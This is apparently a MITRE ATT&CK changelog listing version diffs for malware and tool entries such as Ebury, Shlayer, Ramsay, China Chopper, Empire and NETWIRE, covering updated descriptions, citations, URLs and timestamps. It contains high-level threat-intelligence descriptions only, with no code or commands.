Current version: 1.3
Version changed from: 1.2 → 1.3
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [Ebury](https://attack.mitre.org/software/S0377) is an SSH b | t | 1 | [Ebury](https://attack.mitre.org/software/S0377) is an SSH b |
| > | ackdoor targeting Linux operating systems. Attackers require | > | ackdoor targeting Linux operating systems. Attackers require | ||
| > | root-level access, which allows them to replace SSH binarie | > | root-level access, which allows them to replace SSH binarie | ||
| > | s (ssh, sshd, ssh-add, etc) or modify a shared library used | > | s (ssh, sshd, ssh-add, etc) or modify a shared library used | ||
| > | by OpenSSH (libkeyutils).(Citation: ESET Ebury Feb 2014)(Cit | > | by OpenSSH (libkeyutils).(Citation: ESET Ebury Feb 2014)(Cit | ||
| > | ation: BleepingComputer Ebury March 2017) | > | ation: BleepingComputer Ebury March 2017)(Citation: ESET Ebu | ||
| > | ry Oct 2017) | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-21 18:25:38.692000+00:00 | 2021-04-23 22:56:14.591000+00:00 |
| description | [Ebury](https://attack.mitre.org/software/S0377) is an SSH backdoor targeting Linux operating systems. Attackers require root-level access, which allows them to replace SSH binaries (ssh, sshd, ssh-add, etc) or modify a shared library used by OpenSSH (libkeyutils).(Citation: ESET Ebury Feb 2014)(Citation: BleepingComputer Ebury March 2017) | [Ebury](https://attack.mitre.org/software/S0377) is an SSH backdoor targeting Linux operating systems. Attackers require root-level access, which allows them to replace SSH binaries (ssh, sshd, ssh-add, etc) or modify a shared library used by OpenSSH (libkeyutils).(Citation: ESET Ebury Feb 2014)(Citation: BleepingComputer Ebury March 2017)(Citation: ESET Ebury Oct 2017) |
| x_mitre_version | 1.2 | 1.3 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'ESET Ebury Oct 2017', 'description': 'Vachon, F. (2017, October 30). Windigo Still not Windigone: An Ebury Update . Retrieved February 10, 2021.', 'url': 'https://www.welivesecurity.com/2017/10/30/windigo-ebury-update-2/'} |
Current version: 1.2
Version changed from: 1.1 → 1.2
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-20 17:06:41.399000+00:00 | 2021-08-09 14:21:48.477000+00:00 |
| x_mitre_version | 1.1 | 1.2 |
Current version: 1.2
Version changed from: 1.1 → 1.2
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-30 16:22:06.314000+00:00 | 2021-04-02 00:14:13.954000+00:00 |
| x_mitre_version | 1.1 | 1.2 |
Current version: 1.2
Version changed from: 1.1 → 1.2
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-20 17:08:21.639000+00:00 | 2021-04-14 22:43:50.451000+00:00 |
| x_mitre_version | 1.1 | 1.2 |
Current version: 1.2
Version changed from: 1.1 → 1.2
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-27 20:45:20.126000+00:00 | 2021-04-23 20:01:10.366000+00:00 |
| x_mitre_version | 1.1 | 1.2 |
Current version: 1.1
Version changed from: 1.0 → 1.1
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-09 16:08:00.074000+00:00 | 2021-10-16 01:45:28.826000+00:00 |
| x_mitre_version | 1.0 | 1.1 |
Current version: 1.2
Version changed from: 1.1 → 1.2
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-20 18:11:27.347000+00:00 | 2020-11-06 15:24:20.400000+00:00 |
| x_mitre_version | 1.1 | 1.2 |
Current version: 1.2
Version changed from: 1.1 → 1.2
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-28 21:34:33.810000+00:00 | 2020-12-04 21:07:22.870000+00:00 |
| external_references[2]['description'] | The term WhiteBear is used both for the activity group (a subset of G0010) as well as the malware observed. Based on similarities in behavior and C2, WhiteBear is assessed to be the same as S0168. (Citation: Securelist WhiteBear Aug 2017) | The term WhiteBear is used both for the activity group (a subset of G0010) as well as the malware observed. Based on similarities in behavior and C2, WhiteBear is assessed to be the same as S0168. (Citation: Securelist WhiteBear Aug 2017)(Citation: ESET Crutch December 2020) |
| x_mitre_version | 1.1 | 1.2 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'ESET Crutch December 2020', 'description': 'Faou, M. (2020, December 2). Turla Crutch: Keeping the “back door” open. Retrieved December 4, 2020.', 'url': 'https://www.welivesecurity.com/2020/12/02/turla-crutch-keeping-back-door-open/'} |
Current version: 1.2
Version changed from: 1.1 → 1.2
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2019-04-24 20:32:54.936000+00:00 | 2021-04-23 20:04:19.262000+00:00 |
| external_references[3]['url'] | https://s3.eu-west-1.amazonaws.com/ncsc-content/files/Joint%20report%20on%20publicly%20available%20hacking%20tools%20%28NCSC%29.pdf | https://www.ncsc.gov.uk/report/joint-report-on-publicly-available-hacking-tools |
| x_mitre_version | 1.1 | 1.2 |
Current version: 1.2
Version changed from: 1.1 → 1.2
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-07-31 18:01:53.826000+00:00 | 2021-04-23 20:07:01.487000+00:00 |
| x_mitre_version | 1.1 | 1.2 |
Current version: 1.2
Version changed from: 1.1 → 1.2
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [Hikit](https://attack.mitre.org/software/S0009) is malware | t | 1 | [Hikit](https://attack.mitre.org/software/S0009) is malware |
| > | that has been used by [Axiom](https://attack.mitre.org/group | > | that has been used by [Axiom](https://attack.mitre.org/group | ||
| > | s/G0001) for late-stage persistence and exfiltration after t | > | s/G0001) for late-stage persistence and exfiltration after t | ||
| > | he initial compromise. (Citation: Novetta-Axiom) (Citation: | > | he initial compromise.(Citation: Novetta-Axiom)(Citation: Fi | ||
| > | FireEye Hikit Rootkit) | > | reEye Hikit Rootkit) | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-13 20:37:29.986000+00:00 | 2021-06-09 18:59:27.117000+00:00 |
| description | [Hikit](https://attack.mitre.org/software/S0009) is malware that has been used by [Axiom](https://attack.mitre.org/groups/G0001) for late-stage persistence and exfiltration after the initial compromise. (Citation: Novetta-Axiom) (Citation: FireEye Hikit Rootkit) | [Hikit](https://attack.mitre.org/software/S0009) is malware that has been used by [Axiom](https://attack.mitre.org/groups/G0001) for late-stage persistence and exfiltration after the initial compromise.(Citation: Novetta-Axiom)(Citation: FireEye Hikit Rootkit) |
| x_mitre_contributors[0] | Christopher Glyer, FireEye, @cglyer | Christopher Glyer, Mandiant, @cglyer |
| x_mitre_version | 1.1 | 1.2 |
Current version: 1.2
Version changed from: 1.1 → 1.2
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-31 22:20:17.889000+00:00 | 2021-10-07 16:02:38.320000+00:00 |
| x_mitre_version | 1.1 | 1.2 |
Current version: 1.3
Version changed from: 1.2 → 1.3
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-20 21:15:48.610000+00:00 | 2020-12-02 21:20:50.906000+00:00 |
| x_mitre_version | 1.2 | 1.3 |
Current version: 1.2
Version changed from: 1.1 → 1.2
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-30 16:55:01.985000+00:00 | 2021-10-17 14:35:31.022000+00:00 |
| x_mitre_version | 1.1 | 1.2 |
Current version: 1.2
Version changed from: 1.1 → 1.2
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-09-01 20:55:31.256000+00:00 | 2021-10-12 16:31:13.272000+00:00 |
| x_mitre_version | 1.1 | 1.2 |
Current version: 1.2
Version changed from: 1.1 → 1.2
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-19 18:35:15.941000+00:00 | 2021-08-18 23:46:05.071000+00:00 |
| x_mitre_version | 1.1 | 1.2 |
Current version: 1.2
Version changed from: 1.1 → 1.2
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-30 17:03:42.864000+00:00 | 2021-10-15 16:57:34.776000+00:00 |
| x_mitre_version | 1.1 | 1.2 |
Current version: 1.3
Version changed from: 1.2 → 1.3
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-09-23 15:19:58.668000+00:00 | 2021-10-14 21:21:51.872000+00:00 |
| x_mitre_version | 1.2 | 1.3 |
Current version: 1.1
Version changed from: 1.0 → 1.1
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2019-04-22 19:06:17.325000+00:00 | 2021-10-07 16:41:18.760000+00:00 |
| x_mitre_version | 1.0 | 1.1 |
Current version: 1.2
Version changed from: 1.1 → 1.2
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [OSX/Shlayer](https://attack.mitre.org/software/S0402) is a | t | 1 | [OSX/Shlayer](https://attack.mitre.org/software/S0402) is a |
| > | Trojan designed to install adware on macOS. It was first dis | > | Trojan designed to install adware on macOS that was first di | ||
| > | covered in 2018.(Citation: Carbon Black Shlayer Feb 2019)(Ci | > | scovered in 2018.(Citation: Carbon Black Shlayer Feb 2019)(C | ||
| > | tation: Intego Shlayer Feb 2018) | > | itation: Intego Shlayer Feb 2018) | ||
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | https://www.carbonblack.com/2019/02/12/tau-threat-intelligence-notification-new-macos-malware-variant-of-shlayer-osx-discovered/ |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-22 18:35:57.777000+00:00 | 2021-10-16 20:44:20.719000+00:00 |
| description | [OSX/Shlayer](https://attack.mitre.org/software/S0402) is a Trojan designed to install adware on macOS. It was first discovered in 2018.(Citation: Carbon Black Shlayer Feb 2019)(Citation: Intego Shlayer Feb 2018) | [OSX/Shlayer](https://attack.mitre.org/software/S0402) is a Trojan designed to install adware on macOS that was first discovered in 2018.(Citation: Carbon Black Shlayer Feb 2019)(Citation: Intego Shlayer Feb 2018) |
| external_references[2]['source_name'] | Crossrider | Zshlayer |
| external_references[2]['description'] | (Citation: Intego Shlayer Apr 2018)(Citation: Malwarebytes Crossrider Apr 2018) | (Citation: sentinelone shlayer to zshlayer) |
| external_references[3]['source_name'] | Carbon Black Shlayer Feb 2019 | Crossrider |
| external_references[3]['description'] | Carbon Black Threat Analysis Unit. (2019, February 12). New macOS Malware Variant of Shlayer (OSX) Discovered. Retrieved August 8, 2019. | (Citation: Intego Shlayer Apr 2018)(Citation: Malwarebytes Crossrider Apr 2018) |
| external_references[4]['source_name'] | Intego Shlayer Feb 2018 | Carbon Black Shlayer Feb 2019 |
| external_references[4]['description'] | Long, Joshua. (2018, February 21). OSX/Shlayer: New Mac malware comes out of its shell. Retrieved August 28, 2019. | Carbon Black Threat Analysis Unit. (2019, February 12). New macOS Malware Variant of Shlayer (OSX) Discovered. Retrieved August 8, 2019. |
| external_references[4]['url'] | https://www.intego.com/mac-security-blog/osxshlayer-new-mac-malware-comes-out-of-its-shell/ | https://www.carbonblack.com/2019/02/12/tau-threat-intelligence-notification-new-macos-malware-variant-of-shlayer-osx-discovered/ |
| external_references[5]['source_name'] | Intego Shlayer Apr 2018 | Intego Shlayer Feb 2018 |
| external_references[5]['description'] | Vrijenhoek, Jay. (2018, April 24). New OSX/Shlayer Malware Variant Found Using a Dirty New Trick. Retrieved September 6, 2019. | Long, Joshua. (2018, February 21). OSX/Shlayer: New Mac malware comes out of its shell. Retrieved August 28, 2019. |
| external_references[5]['url'] | https://www.intego.com/mac-security-blog/new-osxshlayer-malware-variant-found-using-a-dirty-new-trick/ | https://www.intego.com/mac-security-blog/osxshlayer-new-mac-malware-comes-out-of-its-shell/ |
| external_references[6]['source_name'] | Malwarebytes Crossrider Apr 2018 | sentinelone shlayer to zshlayer |
| external_references[6]['description'] | Reed, Thomas. (2018, April 24). New Crossrider variant installs configuration profiles on Macs. Retrieved September 6, 2019. | Phil Stokes. (2020, September 8). Coming Out of Your Shell: From Shlayer to ZShlayer. Retrieved September 13, 2021. |
| external_references[6]['url'] | https://blog.malwarebytes.com/threat-analysis/2018/04/new-crossrider-variant-installs-configuration-profiles-on-macs/ | https://www.sentinelone.com/blog/coming-out-of-your-shell-from-shlayer-to-zshlayer/ |
| x_mitre_version | 1.1 | 1.2 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Intego Shlayer Apr 2018', 'description': 'Vrijenhoek, Jay. (2018, April 24). New OSX/Shlayer Malware Variant Found Using a Dirty New Trick. Retrieved September 6, 2019.', 'url': 'https://www.intego.com/mac-security-blog/new-osxshlayer-malware-variant-found-using-a-dirty-new-trick/'} | |
| external_references | {'source_name': 'Malwarebytes Crossrider Apr 2018', 'description': 'Reed, Thomas. (2018, April 24). New Crossrider variant installs configuration profiles on Macs. Retrieved September 6, 2019.', 'url': 'https://blog.malwarebytes.com/threat-analysis/2018/04/new-crossrider-variant-installs-configuration-profiles-on-macs/'} | |
| x_mitre_aliases | Zshlayer |
Current version: 1.2
Version changed from: 1.1 → 1.2
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-30 03:01:04.725000+00:00 | 2021-06-17 19:03:17.306000+00:00 |
| x_mitre_version | 1.1 | 1.2 |
Current version: 1.2
Version changed from: 1.1 → 1.2
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-06-12 17:37:53.480000+00:00 | 2021-01-22 16:19:40.969000+00:00 |
| x_mitre_version | 1.1 | 1.2 |
Current version: 1.2
Version changed from: 1.1 → 1.2
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_contributors | ['Janantha Marasinghe'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-20 19:20:27.565000+00:00 | 2021-06-24 13:47:24.660000+00:00 |
| x_mitre_version | 1.1 | 1.2 |
Current version: 1.2
Version changed from: 1.1 → 1.2
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-28 21:39:15.210000+00:00 | 2021-06-22 13:57:03.434000+00:00 |
| external_references[2]['description'] | (Citation: TrendMicro Patchwork Dec 2017) | (Citation: TrendMicro Patchwork Dec 2017)(Citation: Securelist APT10 March 2021) |
| x_mitre_version | 1.1 | 1.2 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Securelist APT10 March 2021', 'description': 'GREAT. (2021, March 30). APT10: sophisticated multi-layered loader Ecipekac discovered in A41APT campaign. Retrieved June 17, 2021.', 'url': 'https://securelist.com/apt10-sophisticated-multi-layered-loader-ecipekac-discovered-in-a41apt-campaign/101519/'} |
Current version: 1.2
Version changed from: 1.1 → 1.2
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-30 17:26:05.875000+00:00 | 2021-09-10 18:59:39.228000+00:00 |
| x_mitre_version | 1.1 | 1.2 |
Current version: 2.2
Version changed from: 2.1 → 2.2
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-21 17:07:02.274000+00:00 | 2020-11-23 18:54:49.190000+00:00 |
| x_mitre_version | 2.1 | 2.2 |
Current version: 1.1
Version changed from: 1.0 → 1.1
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-06-30 00:39:39.738000+00:00 | 2021-04-13 23:52:18.803000+00:00 |
| x_mitre_version | 1.0 | 1.1 |
Current version: 1.1
Version changed from: 1.0 → 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [Ramsay](https://attack.mitre.org/software/S0458) is an info | t | 1 | [Ramsay](https://attack.mitre.org/software/S0458) is an info |
| > | rmation stealing malware framework designed to collect and e | > | rmation stealing malware framework designed to collect and e | ||
| > | xfiltrate sensitive documents, potentially from air-gapped s | > | xfiltrate sensitive documents, including from air-gapped sys | ||
| > | ystems. Researchers have identified overlaps between [Ramsay | > | tems. Researchers have identified overlaps between [Ramsay]( | ||
| > | ](https://attack.mitre.org/software/S0458) and the [Darkhote | > | https://attack.mitre.org/software/S0458) and the [Darkhotel] | ||
| > | l](https://attack.mitre.org/groups/G0012)-associated Retro m | > | (https://attack.mitre.org/groups/G0012)-associated Retro mal | ||
| > | alware.(Citation: Eset Ramsay May 2020) | > | ware.(Citation: Eset Ramsay May 2020)(Citation: Antiy CERT R | ||
| > | amsay April 2020) | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_contributors | ['Harry Kim, CODEMIZE'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-06-16 23:17:20.639000+00:00 | 2021-04-14 22:10:12.150000+00:00 |
| description | [Ramsay](https://attack.mitre.org/software/S0458) is an information stealing malware framework designed to collect and exfiltrate sensitive documents, potentially from air-gapped systems. Researchers have identified overlaps between [Ramsay](https://attack.mitre.org/software/S0458) and the [Darkhotel](https://attack.mitre.org/groups/G0012)-associated Retro malware.(Citation: Eset Ramsay May 2020) | [Ramsay](https://attack.mitre.org/software/S0458) is an information stealing malware framework designed to collect and exfiltrate sensitive documents, including from air-gapped systems. Researchers have identified overlaps between [Ramsay](https://attack.mitre.org/software/S0458) and the [Darkhotel](https://attack.mitre.org/groups/G0012)-associated Retro malware.(Citation: Eset Ramsay May 2020)(Citation: Antiy CERT Ramsay April 2020) |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Antiy CERT Ramsay April 2020', 'description': "Antiy CERT. (2020, April 20). Analysis of Ramsay components of Darkhotel's infiltration and isolation network. Retrieved March 24, 2021.", 'url': 'https://www.programmersought.com/article/62493896999/'} |
Current version: 1.3
Version changed from: 1.2 → 1.3
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-30 18:17:52.697000+00:00 | 2021-09-08 19:22:44.438000+00:00 |
| external_references[2]['description'] | Ivanov, A. et al.. (2018, May 7). SynAck targeted ransomware uses the Doppelgänging technique. Retrieved May 22, 2018. | Ivanov, A. et al. (2018, May 7). SynAck targeted ransomware uses the Doppelgänging technique. Retrieved May 22, 2018. |
| x_mitre_version | 1.2 | 1.3 |
Current version: 1.3
Version changed from: 1.2 → 1.3
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [Ursnif](https://attack.mitre.org/software/S0386) is a banki | t | 1 | [Ursnif](https://attack.mitre.org/software/S0386) is a banki |
| > | ng trojan and variant of the Gozi malware observed being spr | > | ng trojan and variant of the Gozi malware observed being spr | ||
| > | ead through various automated exploit kits, [Spearphishing A | > | ead through various automated exploit kits, [Spearphishing A | ||
| > | ttachment](https://attack.mitre.org/techniques/T1193)s, and | > | ttachment](https://attack.mitre.org/techniques/T1566/001)s, | ||
| > | malicious links.(Citation: NJCCIC Ursnif Sept 2016)(Citation | > | and malicious links.(Citation: NJCCIC Ursnif Sept 2016)(Cita | ||
| > | : ProofPoint Ursnif Aug 2016) [Ursnif](https://attack.mitre. | > | tion: ProofPoint Ursnif Aug 2016) [Ursnif](https://attack.mi | ||
| > | org/software/S0386) is associated primarily with data theft, | > | tre.org/software/S0386) is associated primarily with data th | ||
| > | but variants also include components (backdoors, spyware, f | > | eft, but variants also include components (backdoors, spywar | ||
| > | ile injectors, etc.) capable of a wide variety of behaviors. | > | e, file injectors, etc.) capable of a wide variety of behavi | ||
| > | (Citation: TrendMicro Ursnif Mar 2015) | > | ors.(Citation: TrendMicro Ursnif Mar 2015) | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-06-24 13:57:16.815000+00:00 | 2021-04-23 20:38:14.681000+00:00 |
| description | [Ursnif](https://attack.mitre.org/software/S0386) is a banking trojan and variant of the Gozi malware observed being spread through various automated exploit kits, [Spearphishing Attachment](https://attack.mitre.org/techniques/T1193)s, and malicious links.(Citation: NJCCIC Ursnif Sept 2016)(Citation: ProofPoint Ursnif Aug 2016) [Ursnif](https://attack.mitre.org/software/S0386) is associated primarily with data theft, but variants also include components (backdoors, spyware, file injectors, etc.) capable of a wide variety of behaviors.(Citation: TrendMicro Ursnif Mar 2015) | [Ursnif](https://attack.mitre.org/software/S0386) is a banking trojan and variant of the Gozi malware observed being spread through various automated exploit kits, [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001)s, and malicious links.(Citation: NJCCIC Ursnif Sept 2016)(Citation: ProofPoint Ursnif Aug 2016) [Ursnif](https://attack.mitre.org/software/S0386) is associated primarily with data theft, but variants also include components (backdoors, spyware, file injectors, etc.) capable of a wide variety of behaviors.(Citation: TrendMicro Ursnif Mar 2015) |
| x_mitre_version | 1.2 | 1.3 |
Current version: 1.2
Version changed from: 1.1 → 1.2
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-05 20:59:05.953000+00:00 | 2020-11-23 19:00:25.745000+00:00 |
| x_mitre_version | 1.1 | 1.2 |
Current version: 1.2
Version changed from: 1.1 → 1.2
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-30 18:32:20.484000+00:00 | 2021-08-18 23:49:03.468000+00:00 |
| x_mitre_version | 1.1 | 1.2 |
Current version: 1.2
Version changed from: 1.1 → 1.2
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2019-07-31 19:57:28.859000+00:00 | 2021-08-16 17:50:50.307000+00:00 |
| x_mitre_version | 1.1 | 1.2 |
Current version: 1.2
Version changed from: 1.1 → 1.2
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-20 18:41:43.461000+00:00 | 2021-10-01 17:48:10.492000+00:00 |
| x_mitre_version | 1.1 | 1.2 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_contributors | Edward Millington |
Current version: 2.3
Version changed from: 2.2 → 2.3
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-16 00:51:36.275000+00:00 | 2021-04-23 20:43:13.190000+00:00 |
| external_references[4]['url'] | https://www.nccgroup.trust/us/about-us/newsroom-and-events/blog/2018/april/decoding-network-data-from-a-gh0st-rat-variant/ | https://research.nccgroup.com/2018/04/17/decoding-network-data-from-a-gh0st-rat-variant/ |
| x_mitre_version | 2.2 | 2.3 |
Current version: 2.3
Version changed from: 2.1 → 2.3
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [China Chopper](https://attack.mitre.org/software/S0020) is | t | 1 | [China Chopper](https://attack.mitre.org/software/S0020) is |
| > | a [Web Shell](https://attack.mitre.org/techniques/T1100) hos | > | a [Web Shell](https://attack.mitre.org/techniques/T1505/003) | ||
| > | ted on Web servers to provide access back into an enterprise | > | hosted on Web servers to provide access back into an enterp | ||
| > | network that does not rely on an infected system calling ba | > | rise network that does not rely on an infected system callin | ||
| > | ck to a remote command and control server. (Citation: Lee 20 | > | g back to a remote command and control server. (Citation: Le | ||
| > | 13) It has been used by several threat groups. (Citation: De | > | e 2013) It has been used by several threat groups. (Citation | ||
| > | ll TG-3390) (Citation: FireEye Periscope March 2018) | > | : Dell TG-3390) (Citation: FireEye Periscope March 2018)(Cit | ||
| > | ation: CISA AA21-200A APT40 July 2021) | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-30 15:20:49.892000+00:00 | 2021-10-17 14:30:11.979000+00:00 |
| description | [China Chopper](https://attack.mitre.org/software/S0020) is a [Web Shell](https://attack.mitre.org/techniques/T1100) hosted on Web servers to provide access back into an enterprise network that does not rely on an infected system calling back to a remote command and control server. (Citation: Lee 2013) It has been used by several threat groups. (Citation: Dell TG-3390) (Citation: FireEye Periscope March 2018) | [China Chopper](https://attack.mitre.org/software/S0020) is a [Web Shell](https://attack.mitre.org/techniques/T1505/003) hosted on Web servers to provide access back into an enterprise network that does not rely on an infected system calling back to a remote command and control server. (Citation: Lee 2013) It has been used by several threat groups. (Citation: Dell TG-3390) (Citation: FireEye Periscope March 2018)(Citation: CISA AA21-200A APT40 July 2021) |
| x_mitre_version | 2.1 | 2.3 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'CISA AA21-200A APT40 July 2021', 'description': 'CISA. (2021, July 19). (AA21-200A) Joint Cybersecurity Advisory – Tactics, Techniques, and Procedures of Indicted APT40 Actors Associated with China’s MSS Hainan State Security Department.. Retrieved August 12, 2021.', 'url': 'https://us-cert.cisa.gov/ncas/alerts/aa21-200a'} |
Current version: 1.3
Version changed from: 1.1 → 1.3
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [Empire](https://attack.mitre.org/software/S0363) is an open | t | 1 | [Empire](https://attack.mitre.org/software/S0363) is an open |
| > | source, cross-platform remote administration and post-explo | > | source, cross-platform remote administration and post-explo | ||
| > | itation framework that is publicly available on GitHub. Whil | > | itation framework that is publicly available on GitHub. Whil | ||
| > | e the tool itself is primarily written in Python, the post-e | > | e the tool itself is primarily written in Python, the post-e | ||
| > | xploitation agents are written in pure [PowerShell](https:// | > | xploitation agents are written in pure [PowerShell](https:// | ||
| > | attack.mitre.org/techniques/T1086) for Windows and Python fo | > | attack.mitre.org/techniques/T1059/001) for Windows and Pytho | ||
| > | r Linux/macOS. [Empire](https://attack.mitre.org/software/S0 | > | n for Linux/macOS. [Empire](https://attack.mitre.org/softwar | ||
| > | 363) was one of five tools singled out by a joint report on | > | e/S0363) was one of five tools singled out by a joint report | ||
| > | public hacking tools being widely used by adversaries.(Citat | > | on public hacking tools being widely used by adversaries.(C | ||
| > | ion: NCSC Joint Report Public Tools)(Citation: Github PowerS | > | itation: NCSC Joint Report Public Tools)(Citation: Github Po | ||
| > | hell Empire)(Citation: GitHub ATTACK Empire) | > | werShell Empire)(Citation: GitHub ATTACK Empire) | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-30 02:08:26.536000+00:00 | 2021-08-11 14:58:57.587000+00:00 |
| description | [Empire](https://attack.mitre.org/software/S0363) is an open source, cross-platform remote administration and post-exploitation framework that is publicly available on GitHub. While the tool itself is primarily written in Python, the post-exploitation agents are written in pure [PowerShell](https://attack.mitre.org/techniques/T1086) for Windows and Python for Linux/macOS. [Empire](https://attack.mitre.org/software/S0363) was one of five tools singled out by a joint report on public hacking tools being widely used by adversaries.(Citation: NCSC Joint Report Public Tools)(Citation: Github PowerShell Empire)(Citation: GitHub ATTACK Empire) | [Empire](https://attack.mitre.org/software/S0363) is an open source, cross-platform remote administration and post-exploitation framework that is publicly available on GitHub. While the tool itself is primarily written in Python, the post-exploitation agents are written in pure [PowerShell](https://attack.mitre.org/techniques/T1059/001) for Windows and Python for Linux/macOS. [Empire](https://attack.mitre.org/software/S0363) was one of five tools singled out by a joint report on public hacking tools being widely used by adversaries.(Citation: NCSC Joint Report Public Tools)(Citation: Github PowerShell Empire)(Citation: GitHub ATTACK Empire) |
| external_references[3]['url'] | https://s3.eu-west-1.amazonaws.com/ncsc-content/files/Joint%20report%20on%20publicly%20available%20hacking%20tools%20%28NCSC%29.pdf | https://www.ncsc.gov.uk/report/joint-report-on-publicly-available-hacking-tools |
| external_references[4]['url'] | https://github.com/PowerShellEmpire/Empire | https://github.com/EmpireProject/Empire |
| x_mitre_version | 1.1 | 1.3 |
Current version: 1.3
Version changed from: 1.1 → 1.3
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-25 15:47:20.122000+00:00 | 2021-10-15 16:56:52.156000+00:00 |
| x_mitre_version | 1.1 | 1.3 |
Current version: 1.4
Version changed from: 1.2 → 1.4
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-30 17:04:12.674000+00:00 | 2021-05-20 14:25:59.596000+00:00 |
| x_mitre_version | 1.2 | 1.4 |
Current version: 1.4
Version changed from: 1.2 → 1.4
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [NETWIRE](https://attack.mitre.org/software/S0198) is a publ | t | 1 | [NETWIRE](https://attack.mitre.org/software/S0198) is a publ |
| > | icly available, multiplatform remote administration tool (RA | > | icly available, multiplatform remote administration tool (RA | ||
| > | T) that has been used by criminal and APT groups since at le | > | T) that has been used by criminal and APT groups since at le | ||
| > | ast 2012. (Citation: FireEye APT33 Sept 2017) (Citation: McA | > | ast 2012.(Citation: FireEye APT33 Sept 2017)(Citation: McAfe | ||
| > | fee Netwire Mar 2015) (Citation: FireEye APT33 Webinar Sept | > | e Netwire Mar 2015)(Citation: FireEye APT33 Webinar Sept 201 | ||
| > | 2017) | > | 7) | ||
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_contributors | ['Tony Lambert, Red Canary'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-21 18:42:49.250000+00:00 | 2021-10-12 11:21:09.567000+00:00 |
| description | [NETWIRE](https://attack.mitre.org/software/S0198) is a publicly available, multiplatform remote administration tool (RAT) that has been used by criminal and APT groups since at least 2012. (Citation: FireEye APT33 Sept 2017) (Citation: McAfee Netwire Mar 2015) (Citation: FireEye APT33 Webinar Sept 2017) | [NETWIRE](https://attack.mitre.org/software/S0198) is a publicly available, multiplatform remote administration tool (RAT) that has been used by criminal and APT groups since at least 2012.(Citation: FireEye APT33 Sept 2017)(Citation: McAfee Netwire Mar 2015)(Citation: FireEye APT33 Webinar Sept 2017) |
| x_mitre_version | 1.2 | 1.4 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_platforms | Linux | |
| x_mitre_platforms | macOS |
Current version: 2.3
Version changed from: 2.1 → 2.3
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | The [Net](https://attack.mitre.org/software/S0039) utility i | t | 1 | The [Net](https://attack.mitre.org/software/S0039) utility i |
| > | s a component of the Windows operating system. It is used in | > | s a component of the Windows operating system. It is used in | ||
| > | command-line operations for control of users, groups, servi | > | command-line operations for control of users, groups, servi | ||
| > | ces, and network connections. (Citation: Microsoft Net Utili | > | ces, and network connections. (Citation: Microsoft Net Utili | ||
| > | ty) [Net](https://attack.mitre.org/software/S0039) has a gr | > | ty) [Net](https://attack.mitre.org/software/S0039) has a gr | ||
| > | eat deal of functionality, (Citation: Savill 1999) much of w | > | eat deal of functionality, (Citation: Savill 1999) much of w | ||
